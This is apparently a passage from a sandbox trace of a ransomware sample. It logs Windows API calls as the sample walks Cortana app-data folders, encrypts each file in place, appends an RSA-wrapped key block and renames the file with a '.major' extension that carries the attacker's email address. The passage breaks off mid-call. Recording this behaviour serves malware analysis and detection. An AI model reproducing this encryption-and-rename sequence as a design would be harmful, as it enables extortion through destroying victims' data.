[0225.825] ReadFile (in: hFile=0x1860, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0225.825] SetFilePointer (in: hFile=0x1860, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.825] WriteFile (in: hFile=0x1860, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0225.825] SetFilePointer (in: hFile=0x1860, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0225.825] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.825] WriteFile (in: hFile=0x1860, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.826] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0225.826] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0225.827] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0225.827] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="7/PUYftt9u80zNjUDLNz3M490qxH3Tl3BUTlxYQUCi90Vz6f4/j5PnTcp14QRqEt\ngWqlluLrwWqNCa+gTSv9xjWTqmjx0EhiX2rtkgETKwxhBUNwIP7vuiiwZHr3jSOG\nCbbjnDj2Gs0hCOpaVtwkD6+CsDDbAcEO1Oepc6CavR1RbByCSbaPxZHS7e9cAP8m\n8GWbzhsDRBVrp5PyDN+HAvzlYBIzaPICpNtbTNQfUFB6wNTnJbMTyPuVPQWL4vpC\nEi7kIvfWqTP53hL3MjqpgP5hvsZfZIk36wRyaygRYFTaY8k9SEt8cFuJKQ8/2pqn\nBnVD33P3Hvpo1pNwE9NSFQ==\n", pcchString=0x2e3f9a8) returned 1 [0225.827] WriteFile (in: hFile=0x1860, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0225.827] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.827] WriteFile (in: hFile=0x1860, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.827] CloseHandle (hObject=0x1860) returned 1 [0225.827] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcookies\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcookies\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0225.829] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x81593ae3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0316e46, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36b3554d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f32be0 [0225.830] SetLastError (dwErrCode=0x0) [0225.830] GetLastError () returned 0x0 [0225.830] SetLastError (dwErrCode=0x0) [0225.830] GetLastError () returned 0x0 [0225.830] SetLastError (dwErrCode=0x0) [0225.830] FindNextFileW (in: hFindFile=0x2f32be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x81593ae3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0316e46, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36b3554d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0225.830] SetLastError (dwErrCode=0x0) [0225.830] GetLastError () returned 0x0 [0225.830] SetLastError (dwErrCode=0x0) [0225.830] GetLastError () returned 0x0 [0225.830] SetLastError (dwErrCode=0x0) [0225.830] FindNextFileW (in: hFindFile=0x2f32be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36b3554d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36b3554d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36b3554d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0225.830] SetLastError (dwErrCode=0x0) [0225.830] GetLastError () returned 0x0 [0225.830] SetLastError (dwErrCode=0x0) [0225.830] SetLastError (dwErrCode=0x0) [0225.830] FindNextFileW (in: hFindFile=0x2f32be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36b3554d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36b3554d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36b3554d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0225.830] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3230f148, ftCreationTime.dwHighDateTime=0x1d32716, ftLastAccessTime.dwLowDateTime=0xea526dce, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x36b5b7ca, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f32c20 [0225.832] SetLastError (dwErrCode=0x12) [0225.832] GetLastError () returned 0x12 [0225.832] SetLastError (dwErrCode=0x12) [0225.832] SetLastError (dwErrCode=0x12) [0225.832] FindNextFileW (in: hFindFile=0x2f32c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3230f148, ftCreationTime.dwHighDateTime=0x1d32716, ftLastAccessTime.dwLowDateTime=0xea526dce, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x36b5b7ca, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0225.832] SetLastError (dwErrCode=0x12) [0225.832] GetLastError () returned 0x12 [0225.832] SetLastError (dwErrCode=0x12) [0225.832] SetLastError (dwErrCode=0x12) [0225.832] FindNextFileW (in: hFindFile=0x2f32c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3235b602, ftCreationTime.dwHighDateTime=0x1d32716, ftLastAccessTime.dwLowDateTime=0x3235b602, ftLastAccessTime.dwHighDateTime=0x1d32716, ftLastWriteTime.dwLowDateTime=0x5c97dbe, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="edb.chk", cAlternateFileName="")) returned 1 [0225.833] SetLastError (dwErrCode=0x12) [0225.833] GetLastError () returned 0x12 [0225.833] SetLastError (dwErrCode=0x12) [0225.833] SetLastError (dwErrCode=0x12) [0225.833] FindNextFileW (in: hFindFile=0x2f32c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x323353b6, ftCreationTime.dwHighDateTime=0x1d32716, ftLastAccessTime.dwLowDateTime=0x3235b602, ftLastAccessTime.dwHighDateTime=0x1d32716, ftLastWriteTime.dwLowDateTime=0xf4667269, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="edb.log", cAlternateFileName="")) returned 1 [0225.833] SetLastError (dwErrCode=0x12) [0225.833] GetLastError () returned 0x12 [0225.833] SetLastError (dwErrCode=0x12) [0225.833] SetLastError (dwErrCode=0x12) [0225.833] FindNextFileW (in: hFindFile=0x2f32c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x323353b6, ftCreationTime.dwHighDateTime=0x1d32716, ftLastAccessTime.dwLowDateTime=0x7affe9be, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x24d4cff, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="edb00007.log", cAlternateFileName="")) returned 1 [0225.833] SetLastError (dwErrCode=0x12) [0225.833] GetLastError () returned 0x12 [0225.833] SetLastError (dwErrCode=0x12) [0225.833] SetLastError (dwErrCode=0x12) [0225.833] FindNextFileW (in: hFindFile=0x2f32c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x323353b6, ftCreationTime.dwHighDateTime=0x1d32716, ftLastAccessTime.dwLowDateTime=0x983e23ef, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x481dc8bc, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="edb00008.log", cAlternateFileName="")) returned 1 [0225.833] SetLastError (dwErrCode=0x12) [0225.833] GetLastError () returned 0x12 [0225.833] SetLastError (dwErrCode=0x12) [0225.833] SetLastError (dwErrCode=0x12) [0225.834] FindNextFileW (in: hFindFile=0x2f32c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x323353b6, ftCreationTime.dwHighDateTime=0x1d32716, ftLastAccessTime.dwLowDateTime=0x323353b6, ftLastAccessTime.dwHighDateTime=0x1d32716, ftLastWriteTime.dwLowDateTime=0xea54d171, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="edb00009.log", cAlternateFileName="")) returned 1 [0225.834] SetLastError (dwErrCode=0x12) [0225.834] GetLastError () returned 0x12 [0225.834] SetLastError (dwErrCode=0x12) [0225.834] SetLastError (dwErrCode=0x12) [0225.834] FindNextFileW (in: hFindFile=0x2f32c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3235b602, ftCreationTime.dwHighDateTime=0x1d32716, ftLastAccessTime.dwLowDateTime=0x3235b602, ftLastAccessTime.dwHighDateTime=0x1d32716, ftLastWriteTime.dwLowDateTime=0x3235b602, ftLastWriteTime.dwHighDateTime=0x1d32716, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0225.834] SetLastError (dwErrCode=0x12) [0225.834] GetLastError () returned 0x12 [0225.834] SetLastError (dwErrCode=0x12) [0225.834] SetLastError (dwErrCode=0x12) [0225.834] FindNextFileW (in: hFindFile=0x2f32c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3235b602, ftCreationTime.dwHighDateTime=0x1d32716, ftLastAccessTime.dwLowDateTime=0x3235b602, ftLastAccessTime.dwHighDateTime=0x1d32716, ftLastWriteTime.dwLowDateTime=0x3235b602, ftLastWriteTime.dwHighDateTime=0x1d32716, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0225.834] SetLastError (dwErrCode=0x12) [0225.834] GetLastError () returned 0x12 [0225.834] SetLastError (dwErrCode=0x12) [0225.834] SetLastError (dwErrCode=0x12) [0225.834] FindNextFileW (in: hFindFile=0x2f32c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x323353b6, ftCreationTime.dwHighDateTime=0x1d32716, ftLastAccessTime.dwLowDateTime=0x7a8fdb35, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x224c4f8, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="edbtmp.log", cAlternateFileName="")) returned 1 [0225.834] SetLastError (dwErrCode=0x12) [0225.834] GetLastError () returned 0x12 [0225.835] SetLastError (dwErrCode=0x12) [0225.835] SetLastError (dwErrCode=0x12) [0225.835] FindNextFileW (in: hFindFile=0x2f32c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3235b602, ftCreationTime.dwHighDateTime=0x1d32716, ftLastAccessTime.dwLowDateTime=0x3235b602, ftLastAccessTime.dwHighDateTime=0x1d32716, ftLastWriteTime.dwLowDateTime=0xc6cd4044, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x600000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="IndexedDB.edb", cAlternateFileName="INDEXE~1.EDB")) returned 1 [0225.835] SetLastError (dwErrCode=0x12) [0225.835] GetLastError () returned 0x12 [0225.835] SetLastError (dwErrCode=0x12) [0225.835] SetLastError (dwErrCode=0x12) [0225.835] FindNextFileW (in: hFindFile=0x2f32c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4736f551, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4736f551, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf4667269, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="IndexedDB.jfm", cAlternateFileName="INDEXE~1.JFM")) returned 1 [0225.835] SetLastError (dwErrCode=0x12) [0225.835] GetLastError () returned 0x12 [0225.835] SetLastError (dwErrCode=0x12) [0225.835] SetLastError (dwErrCode=0x12) [0225.835] FindNextFileW (in: hFindFile=0x2f32c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36b5b7ca, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36b5b7ca, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36b5b7ca, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0225.835] SetLastError (dwErrCode=0x12) [0225.835] GetLastError () returned 0x12 [0225.835] SetLastError (dwErrCode=0x12) [0225.835] SetLastError (dwErrCode=0x12) [0225.835] FindNextFileW (in: hFindFile=0x2f32c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36b5b7ca, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36b5b7ca, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36b5b7ca, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0225.836] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0225.836] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\IndexedDB.jfm", dwFileAttributes=0x80) returned 1 [0225.836] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\IndexedDB.jfm" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\indexeddb.jfm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1868 [0225.837] GetFileSizeEx (in: hFile=0x1868, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16384) returned 1 [0225.837] ReadFile (in: hFile=0x1868, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0225.839] SetFilePointer (in: hFile=0x1868, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0225.839] WriteFile (in: hFile=0x1868, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0225.839] SetFilePointer (in: hFile=0x1868, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4000 [0225.839] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.839] WriteFile (in: hFile=0x1868, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.839] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0225.839] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0225.840] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0225.840] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="KyhBMCqFZO5M7qD0RXnld4CUOuCt3YYcw0N9fFKF4XEX7l4mGCCfQFMg+t857NL3\nkYGsCdjStJaKLw4bhCHRFIp+WTNz0dtQhaYBTpnG97y4cW1zGJ+wkShGAMYiNxQM\nUnUy1RYVW1CuPxeGxJt5hYYykAt40fTPnEdmmynRAVe9tdljlGNZBNa+v6QGpm/H\n21F6UI97mmlJY4Oy2WS5cmFP5tHVQ/KzXKJmt+wtNhysZgrp3GqV5fdCf+Jn7xYw\naOyTomfKrlbybFGHHWyms0wKleGE+Sozdvn2XZ+tSL2YSHlFBGWdAM2K9T3EjCeT\nRJPtFoNaqqb7vlLKNfyXoA==\n", pcchString=0x2e3f9a8) returned 1 [0225.840] WriteFile (in: hFile=0x1868, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0225.840] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0225.840] WriteFile (in: hFile=0x1868, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0225.840] CloseHandle (hObject=0x1868) returned 1 [0225.840] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\IndexedDB.jfm" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\indexeddb.jfm"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\IndexedDB.jfm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\indexeddb.jfm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0225.843] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0225.843] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\IndexedDB.edb", dwFileAttributes=0x80) returned 1 [0225.843] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\IndexedDB.edb" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\indexeddb.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1868 [0225.844] GetFileSizeEx (in: hFile=0x1868, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=6291456) returned 1 [0225.844] ReadFile (in: hFile=0x1868, lpBuffer=0x354e020, nNumberOfBytesToRead=0x600000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x354e020*, lpNumberOfBytesRead=0x2e3f9b4*=0x600000, lpOverlapped=0x0) returned 1 [0227.457] SetFilePointer (in: hFile=0x1868, lDistanceToMove=-6291456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0227.457] WriteFile (in: hFile=0x1868, lpBuffer=0x3b59020*, nNumberOfBytesToWrite=0x600000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3b59020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x600000, lpOverlapped=0x0) returned 1 [0227.538] SetFilePointer (in: hFile=0x1868, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x600000 [0227.538] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0227.538] WriteFile (in: hFile=0x1868, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0227.556] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0227.556] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0227.556] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0227.556] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="PW0pLJgXqCr5tJ03KG2L9msq5pk0I6H1sBsXbm91/jVUn57xHg7oNwlR4VyKkrUC\nl15pZ6+udYHcd3SIqJBofEcgjOyXBVZiUA1j52qF9ihG9ZjXvK53l9D1J5Fp04L6\nSRNhLLHYvHirlYihHSyt6Mer7MMFYXoOEKp1sJPpHID0m2+IEptayfOOgTqzReyo\nTtwBV+ZbmNfimDdbHUr4B3jvgXicuJcvCljSBTMWFbYDubxSO2hasePjZR0HYvRw\nRbLzn9wRSCCWcaTiRnGAKFT68eqbh+b4vpTR/YZrhlu5Si2Bkb+0BKOmkE+yDqMr\nyugmEf+8AjeznL2+3qzqhA==\n", pcchString=0x2e3f9a8) returned 1 [0227.556] WriteFile (in: hFile=0x1868, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0227.557] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0227.557] WriteFile (in: hFile=0x1868, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: 